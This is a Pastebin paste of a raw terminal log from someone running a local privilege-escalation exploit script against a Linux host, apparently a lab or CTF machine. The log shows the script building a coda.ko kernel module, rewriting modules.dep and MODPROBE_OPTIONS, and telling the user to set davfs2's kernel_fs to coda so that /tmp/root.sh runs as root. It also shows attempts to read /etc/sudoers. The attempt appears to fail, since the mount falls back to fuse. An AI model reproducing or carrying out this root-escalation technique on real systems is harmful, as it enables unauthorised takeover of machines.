Advertisement
Guest User

sf

a guest
Apr 3rd, 2016
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.29 KB | None | 0 0
  1. davtest@humble:/tmp$ ./exploit.sh
  2. ./exploit.sh
  3. #######################################
  4. Specify the full path of the kernel module which you want to load
  5. Leave empty if you wish to compile it now
  6. Understand that you need kernel headers, make and gcc for successful compilation
  7. #######################################
  8.  
  9.  
  10. make -C /lib/modules/3.2.0-4-686-pae/build M=/tmp modules
  11. make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae'
  12. CC [M] /tmp/coda.o
  13. Building modules, stage 2.
  14. MODPOST 1 modules
  15. CC /tmp/coda.mod.o
  16. LD [M] /tmp/coda.ko
  17. make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'
  18. #######################################
  19. Copying the modules in use for the running kernel in the local directory
  20. #######################################
  21. #######################################
  22. Copying coda.ko module
  23. #######################################
  24. #######################################
  25. Setting the 'modules.dep' and running depmod
  26. #######################################
  27. #######################################
  28. Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is /tmp/rootprog
  29. WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module
  30. #######################################
  31. /tmp/root.sh
  32. /tmp/root.sh
  33. #######################################
  34. Setting MODPROBE_OPTIONS variable
  35. #######################################
  36. #######################################
  37. Now, check the the /home/davtest/.davfs2/davfs.conf. Modify the default value of 'kernel_fs' to coda eg:
  38. # General Options
  39. # ---------------
  40.  
  41. # dav_user davfs2 # system wide config file only
  42. # dav_group davfs2 # system wide config file only
  43. # ignore_home # system wide config file only
  44. kernel_fs coda
  45. # buf_size 16 # KiByte
  46. #######################################
  47. #######################################
  48. Then, check /etc/fstab for remote webdav servers which the user can mount, eg:
  49. https://www.crushftp.com/demo/ /home/foo/dav davfs noauto,user 0 0
  50. #######################################
  51. #######################################
  52. If the remote webdav is authenticated, ensure to have valid credentials. The run 'mount /home/foo/dav' inside this terminal'
  53. #######################################
  54. davtest@humble:/tmp$ mount /home/davtest/dav
  55. mount /home/davtest/dav
  56. Please enter the username to authenticate with server
  57. http://127.0.0.1/webdav/ or hit enter for none.
  58. Username: test
  59. test
  60. Please enter the password to authenticate user test with server
  61. http://127.0.0.1/webdav/ or hit enter for none.
  62. Password: rooted
  63.  
  64. /sbin/mount.davfs: no free coda device to mount
  65. /sbin/mount.davfs: trying fuse kernel file system
  66. /sbin/mount.davfs: fuse device opened successfully
  67. davtest@humble:/tmp$ cat /etc/suoders
  68. cat /etc/suoders
  69. cat: /etc/suoders: No such file or directory
  70. davtest@humble:/tmp$ cat /etc/sudoers
  71. cat /etc/sudoers
  72. cat: /etc/sudoers: Permission denied
  73. davtest@humble:/tmp$ exit
  74. exit
  75. exit
  76. davtest@humble:/tmp$ exit
  77. exit
  78. exit
  79. $ whoami
  80. davtest
  81. $ su davtest
  82. Password: davtest
  83.  
  84. sh: 0: can't access tty; job control turned off
  85. $ cat /etc/sudoers
  86. cat: /etc/sudoers: Permission denied
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement